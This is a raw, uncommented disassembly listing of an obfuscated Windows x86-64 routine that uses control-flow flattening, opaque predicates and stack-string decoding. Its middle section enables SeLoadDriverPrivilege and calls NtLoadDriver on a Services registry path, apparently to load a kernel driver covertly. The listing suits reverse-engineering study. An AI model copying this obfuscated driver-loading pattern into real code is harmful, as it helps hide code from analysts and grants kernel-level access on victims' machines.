jmp 0x140356910
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0xb8], rax
mov eax, 0xf1b89c24
jmp 0x140356610
lea rax, [rbp + 0x36]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
cmp byte [rax], 0
setne byte [rbp + 0x102]
mov eax, 0xf1ec0403
jmp 0x140356610
cmp eax, 0xf1b89c24
jne 0x140356610
mov rdx, qword [rbp + 0xb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402bf9e0
mov rcx, rax
call fcn.1402a4230
xor esi, esi
lea rdi, [rbp - 0x10]
mov rcx, rdi
call fcn.14028f210
mov eax, 0x37d704b3
nop dword [rax + rax]
cmp eax, 0xd44bc859
je 0x1403569fd
cmp eax, 0x37d704b3
jne 0x1403569e0
mov rcx, rdi
call fcn.1403244e0
mov eax, 0xd44bc859
jmp 0x1403569e0
lea rdi, [rbp - 0x30]
mov rcx, rdi
call fcn.14028f210
mov eax, 0x37d704b3
nop
cmp eax, 0xd44bc859
je 0x140356a2d
cmp eax, 0x37d704b3
jne 0x140356a10
mov rcx, rdi
call fcn.1403244e0
mov eax, 0xd44bc859
jmp 0x140356a10
lea rdi, [rbp - 0x50]
mov rcx, rdi
call fcn.14028f210
mov eax, 0x37d704b3
nop
cmp eax, 0xd44bc859
je 0x140356a5d
cmp eax, 0x37d704b3
jne 0x140356a40
mov rcx, rdi
call fcn.1403244e0
mov eax, 0xd44bc859
jmp 0x140356a40
mov eax, esi
add rsp, 0x198
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rax, [rbp + 0x10]
mov qword [rbp + 0xd8], rax
mov eax, 0x5d555584
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x97f147f2
je 0x140356ac1
cmp eax, 0x5d555584
jne 0x140356a90
mov rax, qword [rbp + 0xd8]
movzx ecx, word [0x140719989]
mov word [rax + 8], cx
mov rcx, qword [0x140719981]
mov qword [rax], rcx
mov eax, 0x97f147f2
jmp 0x140356a90
mov eax, dword [0x140b7ea00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7ea04], 0xa
setl cl
or cl, al
mov r14d, 0xef2d0616
mov eax, 0xe5b2cfce
cmove r14d, eax
mov r9d, 0xe0f413a1
cmove r9d, eax
mov edx, 0xb2faaec2
mov eax, 0x63e0086d
cmove edx, eax
mov r12d, 0x5ee7f77b
cmove r12d, eax
mov r13d, 0x3ac4b342
mov eax, 0x707d0bdc
cmove r13d, eax
mov r15d, 0xd5615233
cmove r15d, eax
mov eax, dword [0x140b7e918]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7e91c], 0xa
setl cl
or cl, al
mov ecx, 0x96ec6ac9
mov eax, 0xcd4f7c5a
cmove ecx, eax
mov dword [rbp + 0xa0], ecx
mov ecx, 0xf22b0ae0
cmove ecx, eax
mov dword [rbp + 0xc0], ecx
mov ecx, 0xfdb8c9f1
mov eax, 0xe3f68a6d
cmove ecx, eax
mov dword [rbp + 0xa4], ecx
mov ecx, 0x6f1cea4
cmove ecx, eax
mov dword [rbp + 0xec], ecx
mov ecx, 0xf068b231
mov eax, 0x71df0100
cmove ecx, eax
mov dword [rbp + 0xa8], ecx
mov ecx, 0x3cd1f41
cmove ecx, eax
mov dword [rbp + 0xd4], ecx
mov eax, dword [0x140b7e218]
lea ecx, [rax - 1]
imul ecx, eax
mov dword [rbp + 0xac], ecx
test cl, 1
mov eax, 0x95cb4728
mov ecx, 0x56f316f
cmove ecx, eax
mov ebx, dword [0x140b7e21c]
mov dword [rbp + 0xb4], ebx
cmp ebx, 0xa
cmovl ecx, eax
mov dword [rbp + 0xb0], ecx
mov ecx, 0x5a11ccec
mov r8d, 0xe6c95e82
jmp 0x140356c10
and cl, 1
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xf8], al
mov ecx, 0x6085234d
nop word [rax + rax]
mov eax, ecx
cmp ecx, 0xf553558f
jle 0x140356c60
cmp eax, 0x2bbbd016
jle 0x140356cd0
cmp eax, 0x6837cb3e
jg 0x140356d03
cmp eax, 0x5a11ccec
je 0x140357013
cmp eax, 0x6085234d
jne 0x140357387
cmp byte [rbp + 0xf8], 0
mov ecx, 0x6837cb3f
mov eax, 0xf5535590
cmovne ecx, eax
jmp 0x140356c10
cmp eax, 0xe3f68a6c
jg 0x140356c90
cmp eax, 0xa77abe51
jg 0x140356d25
mov ecx, dword [rbp + 0xec]
cmp eax, 0x814ca85b
je 0x140356c10
mov ecx, eax
cmp eax, 0x96ec6ac9
jne 0x140356c10
mov ecx, 0x6837cb3f
jmp 0x140356c10
cmp eax, 0xf068b230
jg 0x140356d4d
cmp eax, 0xe3f68a6d
je 0x1403570db
mov ecx, eax
cmp eax, 0xe4d859e1
jne 0x140356c10
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x98], rax
mov ecx, 0x2bbbd017
jmp 0x140356c10
cmp eax, 0x3cd1f40
jg 0x140356d70
mov ecx, dword [rbp + 0xd4]
cmp eax, 0xf5535590
je 0x140356c10
mov ecx, eax
cmp eax, 0xfdb8c9f1
jne 0x140356c10
mov ecx, 0xa77abe52
jmp 0x140356c10
cmp eax, 0x6837cb3f
je 0x140357352
mov ecx, eax
cmp eax, 0x71df0100
jne 0x140356c10
mov ecx, 0x3cd1f41
jmp 0x140356c10
mov ecx, dword [rbp + 0xc0]
cmp eax, 0xa77abe52
je 0x140356c10
mov ecx, eax
cmp eax, 0xcd4f7c5a
jne 0x140356c10
mov ecx, 0xf22b0ae0
jmp 0x140356c10
cmp eax, 0xf068b231
je 0x140357367
mov ecx, eax
cmp eax, 0xf22b0ae0
jne 0x140356c10
mov ecx, dword [rbp + 0xa0]
jmp 0x140356c10
cmp eax, 0x3cd1f41
je 0x140357371
mov ecx, eax
cmp eax, 0x6f1cea4
jne 0x140356c10
mov r10, qword [rbp + 0xc8]
mov esi, 0xc3200a1a
jmp 0x140356db0
mov esi, 0x8697be96
mov eax, dword [rbp + 0xf0]
nop word cs:[rax + rax]
nop dword [rax + rax]
mov edi, esi
cmp esi, 0xef2d0615
jle 0x140356e40
cmp edi, 0x5ee7f77a
jg 0x140356e90
cmp edi, 0x3ac4b341
jg 0x140356ef3
cmp edi, 0xef2d0616
je 0x140356d96
mov esi, edi
cmp edi, 0x36a372b
jne 0x140356db0
movsxd rcx, dword [rbp + 0x108]
imul rsi, rcx, 0x4ec4ec4f
mov rdi, rsi
shr rdi, 0x3f
sar rsi, 0x24
add esi, edi
imul esi, esi, 0x34
sub ecx, esi
lea esi, [rcx + 0x36]
mov edi, dword [rbp + 0x104]
mov r11d, 0xc9
sub r11d, ecx
and r11d, edi
not edi
and edi, esi
or r11d, edi
mov rcx, qword [rbp + 0xd8]
mov byte [rbp + rcx + 0x10], r11b
mov esi, 0xbfcbf37f
jmp 0x140356db0
cmp edi, 0xd5615232
jle 0x140356ec0
cmp edi, 0xe5b2cfcd
jg 0x140356f3f
cmp edi, 0xd5615233
je 0x140356fba
mov esi, edi
cmp edi, 0xe0f413a1
jne 0x140356db0
mov ecx, dword [rbp + 0x108]
add ecx, 1
mov dword [rbp + 0xf0], ecx
mov esi, r14d
jmp 0x140356db0
cmp edi, 0x6b2175ca
jg 0x140356f15
mov esi, edx
cmp edi, 0x5ee7f77b
je 0x140356db0
mov esi, edi
cmp edi, 0x63e0086d
jne 0x140356db0
mov esi, 0x5ee7f77b
jmp 0x140356db0
cmp edi, 0xbfcbf37e
jle 0x140356f83
mov esi, r9d
cmp edi, 0xbfcbf37f
je 0x140356db0
mov esi, edi
cmp edi, 0xc3200a1a
jne 0x140356db0
mov esi, 0x6b2175cb
jmp 0x140356db0
cmp edi, 0x3ac4b342
je 0x140356f99
mov esi, edi
cmp edi, 0x50435ba4
jne 0x140356db0
mov esi, r12d
jmp 0x140356db0
cmp edi, 0x6b2175cb
je 0x140356fae
mov esi, edi
cmp edi, 0x707d0bdc
jne 0x140356db0
mov ecx, dword [rbp + 0x108]
mov esi, 0xd5615233
jmp 0x140356db0
cmp edi, 0xe5b2cfce
je 0x140356fd2
mov esi, edi
cmp edi, 0xe6c95e82
jne 0x140356db0
movsxd rcx, dword [rbp + 0x108]
mov qword [rbp + 0xd8], rcx
mov rcx, qword [rbp + 0xd8]
movsx ecx, byte [r10 + rcx]
mov dword [rbp + 0x104], ecx
mov esi, 0x36a372b
jmp 0x140356db0
cmp edi, 0x8697be96
jne 0x140356ffa
mov dword [rbp + 0x108], eax
mov esi, r15d
jmp 0x140356db0
cmp byte [rbp + 0xfc], 0
mov esi, 0x50435ba4
cmovne esi, r8d
jmp 0x140356db0
mov esi, 0x8697be96
xor eax, eax
jmp 0x140356db0
mov ecx, dword [rbp + 0x108]
cmp ecx, 0xa
setl byte [rbp + 0xfc]
mov esi, r13d
jmp 0x140356db0
mov ecx, dword [rbp + 0x108]
mov ecx, dword [rbp + 0x108]
mov ecx, dword [rbp + 0x108]
mov ecx, dword [rbp + 0x108]
mov ecx, dword [rbp + 0x108]
mov esi, 0xe0f413a1
jmp 0x140356db0
mov esi, edi
cmp edi, 0xb2faaec2
jne 0x140356db0
mov ecx, dword [rbp + 0xa4]
jmp 0x140356c10
test byte [rbp + 0xac], 1
sete byte [rbp + 0x104]
cmp dword [rbp + 0xb4], 0xa
setl byte [rbp + 0xf0]
mov edi, 0xbc3511e4
mov r10b, byte [rbp + 0x19]
nop dword [rax + rax]
cmp edi, 0x2b3acdd8
jg 0x140357070
cmp edi, 0x95cb4728
je 0x14035709d
cmp edi, 0xbc3511e4
je 0x1403570a4
cmp edi, 0x56f316f
jne 0x140357040
mov edi, 0x5cda6273
jmp 0x140357040
cmp edi, 0x2b3acdd9
je 0x140356bf0
cmp edi, 0x5cda6273
je 0x1403570c9
cmp edi, 0x79ebc696
jne 0x140357040
cmp byte [rbp + 0x108], 0
setne cl
mov edi, 0x2b3acdd9
jmp 0x140357040
mov edi, 0x79ebc696
jmp 0x140357040
movzx eax, byte [rbp + 0x104]
cmp byte [rbp + 0xf0], 0
mov edi, 0x56f316f
mov ebx, 0x5cda6273
cmovne edi, ebx
test al, al
cmovne edi, ebx
jmp 0x140357040
mov byte [rbp + 0x108], r10b
mov edi, dword [rbp + 0xb0]
jmp 0x140357040
mov r10, qword [rbp + 0xc8]
mov ecx, 0xc3200a1a
jmp 0x140357100
mov ecx, 0x8697be96
mov edi, dword [rbp + 0xf0]
nop word cs:[rax + rax]
nop
mov esi, ecx
cmp ecx, 0xef2d0615
jle 0x140357180
cmp esi, 0x5ee7f77a
jg 0x1403571d0
cmp esi, 0x3ac4b341
jg 0x140357233
cmp esi, 0xef2d0616
je 0x1403570e9
mov ecx, esi
cmp esi, 0x36a372b
jne 0x140357100
movsxd rcx, dword [rbp + 0x108]
imul rsi, rcx, 0x4ec4ec4f
mov rbx, rsi
shr rbx, 0x3f
sar rsi, 0x24
add esi, ebx
imul ebx, esi, 0x34
sub ecx, ebx
lea ebx, [rcx + 0x36]
mov esi, dword [rbp + 0x104]
mov eax, 0xc9
sub eax, ecx
and eax, esi
not esi
and esi, ebx
or eax, esi
mov rcx, qword [rbp + 0xd8]
mov byte [rbp + rcx + 0x10], al
mov ecx, 0xbfcbf37f
jmp 0x140357100
cmp esi, 0xd5615232
jle 0x140357200
cmp esi, 0xe5b2cfcd
jg 0x14035727f
cmp esi, 0xd5615233
je 0x1403572fa
mov ecx, esi
cmp esi, 0xe0f413a1
jne 0x140357100
mov eax, dword [rbp + 0x108]
add eax, 1
mov dword [rbp + 0xf0], eax
mov ecx, r14d
jmp 0x140357100
cmp esi, 0x6b2175ca
jg 0x140357255
mov ecx, edx
cmp esi, 0x5ee7f77b
je 0x140357100
mov ecx, esi
cmp esi, 0x63e0086d
jne 0x140357100
mov ecx, 0x5ee7f77b
jmp 0x140357100
cmp esi, 0xbfcbf37e
jle 0x1403572c3
mov ecx, r9d
cmp esi, 0xbfcbf37f
je 0x140357100
mov ecx, esi
cmp esi, 0xc3200a1a
jne 0x140357100
mov ecx, 0x6b2175cb
jmp 0x140357100
cmp esi, 0x3ac4b342
je 0x1403572d9
mov ecx, esi
cmp esi, 0x50435ba4
jne 0x140357100
mov ecx, r12d
jmp 0x140357100
cmp esi, 0x6b2175cb
je 0x1403572ee
mov ecx, esi
cmp esi, 0x707d0bdc
jne 0x140357100
mov eax, dword [rbp + 0x108]
mov ecx, 0xd5615233
jmp 0x140357100
cmp esi, 0xe5b2cfce
je 0x140357312
mov ecx, esi
cmp esi, 0xe6c95e82
jne 0x140357100
movsxd rcx, dword [rbp + 0x108]
mov qword [rbp + 0xd8], rcx
mov rcx, qword [rbp + 0xd8]
movsx ecx, byte [r10 + rcx]
mov dword [rbp + 0x104], ecx
mov ecx, 0x36a372b
jmp 0x140357100
cmp esi, 0x8697be96
jne 0x14035733a
mov dword [rbp + 0x108], edi
mov ecx, r15d
jmp 0x140357100
cmp byte [rbp + 0xfc], 0
mov ecx, 0x50435ba4
cmovne ecx, r8d
jmp 0x140357100
mov ecx, 0x8697be96
xor edi, edi
jmp 0x140357100
mov ecx, dword [rbp + 0x108]
cmp ecx, 0xa
setl byte [rbp + 0xfc]
mov ecx, r13d
jmp 0x140357100
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov ecx, 0xe0f413a1
jmp 0x140357100
mov ecx, esi
cmp esi, 0xb2faaec2
jne 0x140357100
mov ecx, 0x6f1cea4
jmp 0x140356c10
lea rax, [rbp + 0x10]
mov qword [rbp + 0xb8], rax
mov ecx, 0xe4d859e1
jmp 0x140356c10
mov ecx, 0x814ca85b
jmp 0x140356c10
lea rax, [rbp + 0x10]
mov qword [rbp + 0xc8], rax
mov ecx, dword [rbp + 0xa8]
jmp 0x140356c10
mov ecx, eax
cmp eax, 0x2bbbd017
jne 0x140356c10
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1403569c5
mov rsi, rax
lea rdx, str.RtlAdjustPrivilege
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call rbx
mov rdi, rax
lea rdx, str.NtLoadDriver
mov rcx, rsi
call rbx
mov rsi, rax
lea r9, [rbp + 0x102]
mov ecx, 0xa
mov dl, 1
xor r8d, r8d
call rdi
test eax, eax
js 0x140357474
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x10]
lea r8, [rbp - 0x50]
call fcn.1403583a0
lea rcx, [rbp + 0x10]
call fcn.140358950
lea rdi, [rbp + 0xd8]
mov rcx, rdi
mov rdx, rax
call sub.ntdll.dll_RtlInitUnicodeString
mov rcx, rdi
call rsi
mov esi, eax
lea rdi, [rbp + 0x10]
mov rcx, rdi
call fcn.14028f210
mov eax, 0x37d704b3
nop word cs:[rax + rax]
nop
cmp eax, 0xd44bc859
je 0x14035745d
cmp eax, 0x37d704b3
jne 0x140357440
mov rcx, rdi
call fcn.1403244e0
mov eax, 0xd44bc859
jmp 0x140357440
test esi, esi
setns al
cmp esi, 0xc000010e
sete sil
or sil, al
jmp 0x1403569c7
mov eax, dword [0x140b7e920]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7e924], 0xa
setl cl
or cl, al
mov eax, 0xe8c78b
mov edx, 0x3b0ae59a
cmove eax, edx
mov ecx, 0xe9282031
cmove ecx, edx
mov edx, 0x4f12c411
nop dword [rax]
cmp edx, 0xe8c78a
jle 0x140357530
cmp edx, 0xe8c78b
je 0x14035755c
cmp edx, 0x3b0ae59a
je 0x14035754b
cmp edx, 0x4f12c411
jne 0x1403574b0
mov rdx, qword [0x140719979]
mov qword [rbp + 0x6d], rdx
movups xmm0, xmmword [0x14071996c]
movaps xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [0x14071995c]
movaps xmmword [rbp + 0x50], xmm0
movups xmm0, xmmword [0x14071994c]
movaps xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [0x14071993c]
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [0x14071992c]
movaps xmmword [rbp + 0x20], xmm0
movups xmm0, xmmword [0x14071991c]
movaps xmmword [rbp + 0x10], xmm0
mov edx, 0xb6d7e2ea
jmp 0x1403574b0
cmp edx, 0xb6d7e2ea
je 0x140357555
cmp edx, 0xe9282031
jne 0x1403574b0
mov edx, eax
jmp 0x1403574b0
mov edx, 0xe9282031
jmp 0x1403574b0
mov edx, ecx
jmp 0x1403574b0
mov eax, dword [0x140b7dfc0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7dfc4], 0xa
setl cl
or cl, al
mov ecx, 0x3906470b
mov eax, 0x43fe94ba
cmove ecx, eax
mov dword [rbp + 0xac], ecx
mov ecx, 0x94334631
cmove ecx, eax
mov dword [rbp + 0xa0], ecx
mov ecx, 0xa3a77b41
mov eax, 0xf52e9700
cmove ecx, eax
mov dword [rbp + 0xb0], ecx
mov ecx, 0x7a3e97d8
cmove ecx, eax
mov dword [rbp + 0xb4], ecx
mov ecx, 0x3db58e75
mov eax, 0xb5feeca0
cmove ecx, eax
mov dword [rbp + 0xa4], ecx
mov edx, 0xd3389016
mov ecx, 0xa9424e5e
cmove edx, ecx
mov dword [rbp + 0x84], edx
mov edx, 0x71b22d5
cmove edx, ecx
mov dword [rbp + 0x88], edx
mov edx, 0x42f14d91
mov ecx, 0x1e5f2547
cmove edx, ecx
mov dword [rbp + 0xa8], edx
mov edx, 0xd2bcc006
cmove edx, ecx
mov dword [rbp + 0xd4], edx
mov ecx, 0x5f2f20d3
cmove ecx, eax
mov dword [rbp + 0x8c], ecx
mov ecx, 0x5a9925e4
jmp 0x140357630
mov ecx, 0x94334631
nop dword [rax + rax]
mov eax, ecx
cmp ecx, 0x1e5f2546
jle 0x140357670
cmp eax, 0x43fe94b9
jle 0x1403576b0
cmp eax, 0x5a9925e3
jg 0x14035772e
cmp eax, 0x43fe94ba
je 0x140357626
cmp eax, 0x4b056303
je 0x14035794c
mov ecx, eax
cmp eax, 0x4ec943eb
jne 0x140357630
mov ecx, dword [rbp + 0xb4]
jmp 0x140357630
cmp eax, 0xb5feec9f
jle 0x1403576f0
cmp eax, 0xe21216d0
jg 0x1403578bb
cmp eax, 0xb5feeca0
je 0x140357956
mov ecx, dword [rbp + 0xa8]
cmp eax, 0xd2bcc006
je 0x140357630
mov ecx, eax
cmp eax, 0xd3389016
jne 0x140357630
mov ecx, 0x9160671d
jmp 0x140357630
cmp eax, 0x3906470a
jg 0x1403578f4
cmp eax, 0x1e5f2547
je 0x140357d63
mov ecx, dword [rbp + 0xa0]
cmp eax, 0x211441e8
je 0x140357630
mov ecx, eax
cmp eax, 0x2381a8f9
jne 0x140357630
mov ecx, dword [rbp + 0x88]
jmp 0x140357630
cmp eax, 0x98dd0815
jle 0x140357923
mov ecx, dword [rbp + 0xd4]
cmp eax, 0x98dd0816
je 0x140357630
cmp eax, 0xa3a77b41
je 0x140357d6d
mov ecx, eax
cmp eax, 0xa9424e5e
jne 0x140357630
mov ecx, 0x71b22d5
jmp 0x140357630
cmp eax, 0x7a3e97d8
je 0x140357d77
cmp eax, 0x5f2f20d3
je 0x140357d90
mov ecx, eax
cmp eax, 0x5a9925e4
jne 0x140357630
mov eax, dword [0x140b7e428]
mov ecx, dword [0x140b7e42c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0xf0]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x108]
or cl, al
mov esi, 0x3dbb211c
mov eax, 0xf72e39d5
cmovne esi, eax
mov ecx, 0x3dbb211c
mov eax, 0xfc266b42
cmovne ecx, eax
mov r8b, byte [rbp + 0x74]
mov ebx, 0x2e811f7f
mov eax, 0x21aca946
cmovne ebx, eax
mov eax, 0x264f9689
jmp 0x1403577c0
mov eax, 0xfc266b42
nop word cs:[rax + rax]
mov edi, eax
cmp eax, 0x264f9688
jg 0x1403577f0
cmp edi, 0xf72e39d4
jle 0x140357820
mov eax, esi
cmp edi, 0xfc266b42
je 0x1403577c0
cmp edi, 0x21aca946
jne 0x14035788d
mov eax, 0x683ed946
jmp 0x1403577c0
cmp edi, 0x3dbb211b
jg 0x140357840
cmp edi, 0x264f9689
je 0x140357864
mov eax, edi
cmp edi, 0x2e811f7f
jne 0x1403577c0
mov eax, 0xe2dff284
jmp 0x1403577c0
mov eax, ecx
cmp edi, 0xdbfaecc9
je 0x1403577c0
mov eax, edi
cmp edi, 0xe2dff284
jne 0x1403577c0
mov eax, ebx
jmp 0x1403577c0
cmp edi, 0x3dbb211c
je 0x1403577b1
mov eax, edi
cmp edi, 0x683ed946
jne 0x1403577c0
mov eax, 0xdbfaecc9
jmp 0x1403577c0
movzx edx, byte [rbp + 0xf0]
cmp byte [rbp + 0x108], 0
mov edi, 0xe2dff284
mov eax, 0xe2dff284
jne 0x140357883
mov eax, 0x2e811f7f
test dl, dl
cmovne eax, edi
jmp 0x1403577c0
mov eax, edi
cmp edi, 0xf72e39d5
jne 0x1403577c0
test r8b, r8b
setne byte [rbp + 0xd8]
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0x103], al
mov ecx, 0x98dd0816
jmp 0x140357630
cmp eax, 0xe21216d1
je 0x140357d9a
cmp eax, 0xf52e9700
je 0x140357daf
mov ecx, eax
cmp eax, 0x71b22d5
jne 0x140357630
lea rax, [rbp + 0x10]
mov qword [rbp + 0xc8], rax
mov ecx, dword [rbp + 0x84]
jmp 0x140357630
cmp eax, 0x3db58e75
je 0x140357dc0
cmp eax, 0x42f14d91
jne 0x1403581e9
cmp byte [rbp + 0x103], 0
mov ecx, 0xe21216d1
mov eax, 0x2381a8f9
cmovne ecx, eax
jmp 0x140357630
mov ecx, dword [rbp + 0xa4]
cmp eax, 0x9160671d
je 0x140357630
mov ecx, eax
cmp eax, 0x94334631
jne 0x140357630
mov ecx, dword [rbp + 0xac]
jmp 0x140357630
mov ecx, 0xe21216d1
jmp 0x140357630
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0xc0], rax
mov eax, dword [0x140b7e430]
mov ecx, dword [0x140b7e434]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0xf8]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0xfc]
or cl, al
mov ecx, 0x7836d3c6
mov eax, 0x607295e5
cmovne ecx, eax
mov dword [rbp + 0xec], ecx
mov r8d, 0x7836d3c6
mov eax, 0x1cfe128
cmovne r8d, eax
mov r9d, 0xb4eb80e5
mov eax, 0x27a71dc6
cmovne r9d, eax
mov edi, 0xb4eb80e5
mov eax, 0x987c7c6a
cmovne edi, eax
mov r10d, 0xeda07143
mov eax, 0xffdaa6f0
cmovne r10d, eax
mov r11d, 0xeda07143
mov eax, 0x81b55a5f
cmovne r11d, eax
mov r15d, 0x82741981
mov eax, 0x5b997cf1
cmovne r15d, eax
mov r14d, 0x82741981
mov eax, 0x265f9a4f
cmovne r14d, eax
mov r12d, 0xdea4e068
mov eax, 0xb77e0b6f
cmovne r12d, eax
mov ecx, 0x36147396
jmp 0x140357a40
cmp byte [rbp + 0x104], 0
mov ecx, 0xf1f97e8d
mov eax, 0xaf88ee21
cmovne ecx, eax
nop word cs:[rax + rax]
mov esi, ecx
cmp ecx, 0xf1f97e8c
jle 0x140357aa0
cmp esi, 0x33f561e3
jle 0x140357b10
cmp esi, 0x5b997cf0
jg 0x140357b9a
cmp esi, 0x33f561e4
je 0x140357d27
cmp esi, 0x36147396
je 0x140357cee
mov ecx, esi
cmp esi, 0x57dfecca
jne 0x140357a40
mov ebx, dword [rbp + 0x108]
add ebx, 1
mov ecx, 0x33f561e4
jmp 0x140357a40
cmp esi, 0xaf88ee20
jle 0x140357b60
cmp esi, 0xb77e0b6e
jg 0x140357bdc
mov ecx, edi
cmp esi, 0xaf88ee21
je 0x140357a40
mov ecx, r12d
cmp esi, 0xb4096d2b
je 0x140357a40
mov ecx, esi
cmp esi, 0xb4eb80e5
jne 0x140357a40
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov ecx, 0x987c7c6a
jmp 0x140357a40
cmp esi, 0x14aa4530
jle 0x140357c12
mov ecx, r8d
cmp esi, 0x14aa4531
je 0x140357a40
mov ecx, r15d
cmp esi, 0x265f9a4f
je 0x140357a40
mov ecx, esi
cmp esi, 0x27a71dc6
jne 0x140357a40
mov ecx, 0x14aa4531
jmp 0x140357a40
cmp esi, 0x844df7d3
jle 0x140357c47
cmp esi, 0x844df7d4
je 0x140357ccc
cmp esi, 0x987c7c6a
je 0x140357c6b
mov ecx, esi
cmp esi, 0xa3cb2f14
jne 0x140357a40
mov ecx, r14d
jmp 0x140357a40
cmp esi, 0x5b997cf1
je 0x140357d35
cmp esi, 0x607295e5
je 0x140357d13
mov ecx, esi
cmp esi, 0x7836d3c6
jne 0x140357a40
mov rax, qword [rbp + 0xd8]
movzx ecx, byte [rbp + 0xf0]
mov byte [rbp + rax + 0x10], cl
mov ecx, 0x1cfe128
jmp 0x140357a40
cmp esi, 0xb77e0b6f
je 0x140357d41
cmp esi, 0xdea4e068
je 0x140357d1d
mov ecx, esi
cmp esi, 0xeda07143
jne 0x140357a40
mov eax, dword [rbp + 0x108]
mov ecx, 0x81b55a5f
jmp 0x140357a40
cmp esi, 0xffdaa6f0
je 0x140357a22
cmp esi, 0x1cfe128
jne 0x140357d4b
mov rax, qword [rbp + 0xd8]
movzx ecx, byte [rbp + 0xf0]
mov byte [rbp + rax + 0x10], cl
mov ecx, dword [rbp + 0xec]
jmp 0x140357a40
cmp esi, 0x81b55a5f
je 0x140357cd6
mov ecx, esi
cmp esi, 0x82741981
jne 0x140357a40
mov ecx, 0x265f9a4f
jmp 0x140357a40
movsxd rax, dword [rbp + 0x108]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xc0]
movzx eax, byte [rcx + rax]
movsxd rcx, dword [rbp + 0x108]
imul rsi, rcx, 0x4ec4ec4f
mov r13, rsi
shr r13, 0x3f
sar rsi, 0x24
add esi, r13d
imul esi, esi, 0x34
sub ecx, esi
lea esi, [rcx + 0x36]
mov edx, 0xc9
sub edx, ecx
and edx, eax
not eax
and eax, esi
or edx, eax
mov byte [rbp + 0xf0], dl
mov ecx, r9d
jmp 0x140357a40
mov ecx, 0xa3cb2f14
jmp 0x140357a40
mov eax, dword [rbp + 0x108]
cmp eax, 0x65
setl byte [rbp + 0x104]
mov ecx, r10d
jmp 0x140357a40
movzx eax, byte [rbp + 0xf8]
cmp byte [rbp + 0xfc], 0
mov ecx, 0xdea4e068
mov edx, 0xb4096d2b
cmovne ecx, edx
test al, al
cmovne ecx, edx
jmp 0x140357a40
mov ecx, 0x57dfecca
jmp 0x140357a40
mov ecx, 0xb4096d2b
jmp 0x140357a40
mov dword [rbp + 0x108], ebx
mov ecx, r11d
jmp 0x140357a40
mov ecx, 0x33f561e4
xor ebx, ebx
jmp 0x140357a40
mov ecx, 0x844df7d4
jmp 0x140357a40
mov ecx, esi
cmp esi, 0xf1f97e8d
jne 0x140357a40
mov ecx, 0x3db58e75
jmp 0x140357630
mov ecx, 0xd2bcc006
jmp 0x140357630
mov ecx, 0x211441e8
jmp 0x140357630
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x98], rax
mov ecx, dword [rbp + 0xb0]
jmp 0x140357630
mov ecx, 0x4b056303
jmp 0x140357630
lea rax, [rbp + 0x10]
mov qword [rbp + 0xb8], rax
mov ecx, 0x4ec943eb
jmp 0x140357630
mov rax, qword [rbp + 0xb8]
mov ecx, 0x7a3e97d8
jmp 0x140357630
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0xc0], rax
mov eax, dword [0x140b7e430]
mov ecx, dword [0x140b7e434]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0xf8]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0xfc]
or cl, al
mov ecx, 0x7836d3c6
mov eax, 0x607295e5
cmovne ecx, eax
mov dword [rbp + 0xec], ecx
mov r15d, 0x7836d3c6
mov eax, 0x1cfe128
cmovne r15d, eax
mov r12d, 0xb4eb80e5
mov eax, 0x27a71dc6
cmovne r12d, eax
mov esi, 0xb4eb80e5
mov eax, 0x987c7c6a
cmovne esi, eax
mov r13d, 0xeda07143
mov eax, 0xffdaa6f0
cmovne r13d, eax
mov eax, 0xeda07143
mov ecx, 0x81b55a5f
cmovne eax, ecx
mov r8d, 0x82741981
mov ecx, 0x5b997cf1
cmovne r8d, ecx
mov r9d, 0x82741981
mov ecx, 0x265f9a4f
cmovne r9d, ecx
mov r10d, 0xdea4e068
mov ecx, 0xb77e0b6f
cmovne r10d, ecx
mov edx, 0x36147396
jmp 0x140357ea0
cmp byte [rbp + 0x104], 0
mov edx, 0xf1f97e8d
mov ecx, 0xaf88ee21
cmovne edx, ecx
nop
mov r14d, edx
cmp edx, 0xf1f97e8c
jle 0x140357f00
cmp r14d, 0x33f561e3
jle 0x140357f80
cmp r14d, 0x5b997cf0
jg 0x14035800f
cmp r14d, 0x33f561e4
je 0x1403581a9
cmp r14d, 0x36147396
je 0x140358170
mov edx, r14d
cmp r14d, 0x57dfecca
jne 0x140357ea0
mov r11d, dword [rbp + 0x108]
